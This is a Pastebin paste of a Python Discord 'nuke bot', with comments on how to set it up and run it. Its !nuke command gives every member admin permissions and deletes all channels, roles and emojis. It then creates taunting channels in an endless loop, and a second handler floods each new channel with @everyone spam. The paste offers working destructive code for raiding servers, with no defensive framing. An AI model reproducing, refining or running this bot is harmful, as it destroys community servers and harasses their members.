Guest656

DISCORD NUKE BOT CODE(BASIC)

Dec 12th, 2025 (edited)
301
1
Never
4
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.49 KB | Source Code | 1 0
  1. #main.py the main code of the nuker (basic)
  2.  
  3. import discord
  4. from discord.ext import commands
  5. import random #for make random named channels and messages
  6. from discord import Permissions
  7.  
  8. ########### CONFIGURATIONS ######################### (you can import them from a file too example: config.json or idk.)########
  9. token = "YOUR TOKEN HERE" # that is essential part of your bot do not  share others.
  10. prefix = "!" #I set prefix ! which means i will execute commands via !, example: !nuke, !stop. It can be changed
  11. channel_A = "NUKED BY SVIDNET", "TRASHED", "SUCKER", "BE A GOOD ADMIN", "L BOZO" #add how much you want it does not matter
  12. message_S = "@everyone NUKED", "@everyone TRASHED BY SVIDNET", "@everyone EZZZZ" # you can paste links too for example: your discord server
  13. intents = discord.Intents.all()
  14. client = commands.Bot(command_prefix=prefix, intents=intents)
  15. ########### END OF CONFIG ##########################
  16.  
  17.  
  18. ############# FUNCTIONS ##############
  19. @client.event
  20. async def on_ready():
  21.     await client.change_presence(activity=discord.Game(name="NUKING YOUR SERVER")) # not mandatory add this line if you want.
  22.     print(f"{client.user.name} is online rn.")
  23.  
  24. ###### STOP COMMAND ############
  25. @client.command()
  26. async def stop(ctx):
  27.     await ctx.reply('** BOT HAS SHUT DOWN BY OWNER **')
  28.     await client.close()
  29.  
  30.  
  31. #### NUKE COMMAND ####
  32.  
  33. @client.command()
  34. async def nuke(ctx):
  35.     await ctx.message.delete() # deletes your message after u sent
  36.     guild = ctx.guild
  37.  
  38.     try:
  39.         role = discord.utils.get(guild.roles, name = 'everyone')
  40.         await role.edit(permissions = Permissions.all())
  41.         print("All users have admin commands")
  42.     except:
  43.         print("Could not give users admin power")
  44.     for channel in guild.channels:
  45.         try:
  46.             await channel.delete()
  47.  
  48.         except:
  49.             print("Unknown error")
  50.  
  51.     for role in guild.roles:
  52.         try:
  53.             await role.delete()
  54.         except:
  55.             print("Could not delete roles")
  56.  
  57.     for emoji in list(ctx.guild.emojis):
  58.         try:
  59.             await emoji.delete()
  60.         except:
  61.             print("Could not delete emojis")
  62.     await guild.create_text_channel(random.choice(channel_A))
  63.     for channel in guild.text_channels:
  64.       while True:
  65.           await guild.create_text_channel(random.choice(channel_A))
  66.    
  67. @client.event
  68. async def on_guild_channel_create(channel):
  69.     while True:
  70.         await channel.send(random.choice(message_S))
  71.  
  72. client.run(token)
Advertisement
Comments
  • User was banned
  • User was banned
  • User was banned
  • User was banned
Add Comment
Please, Sign In to add comment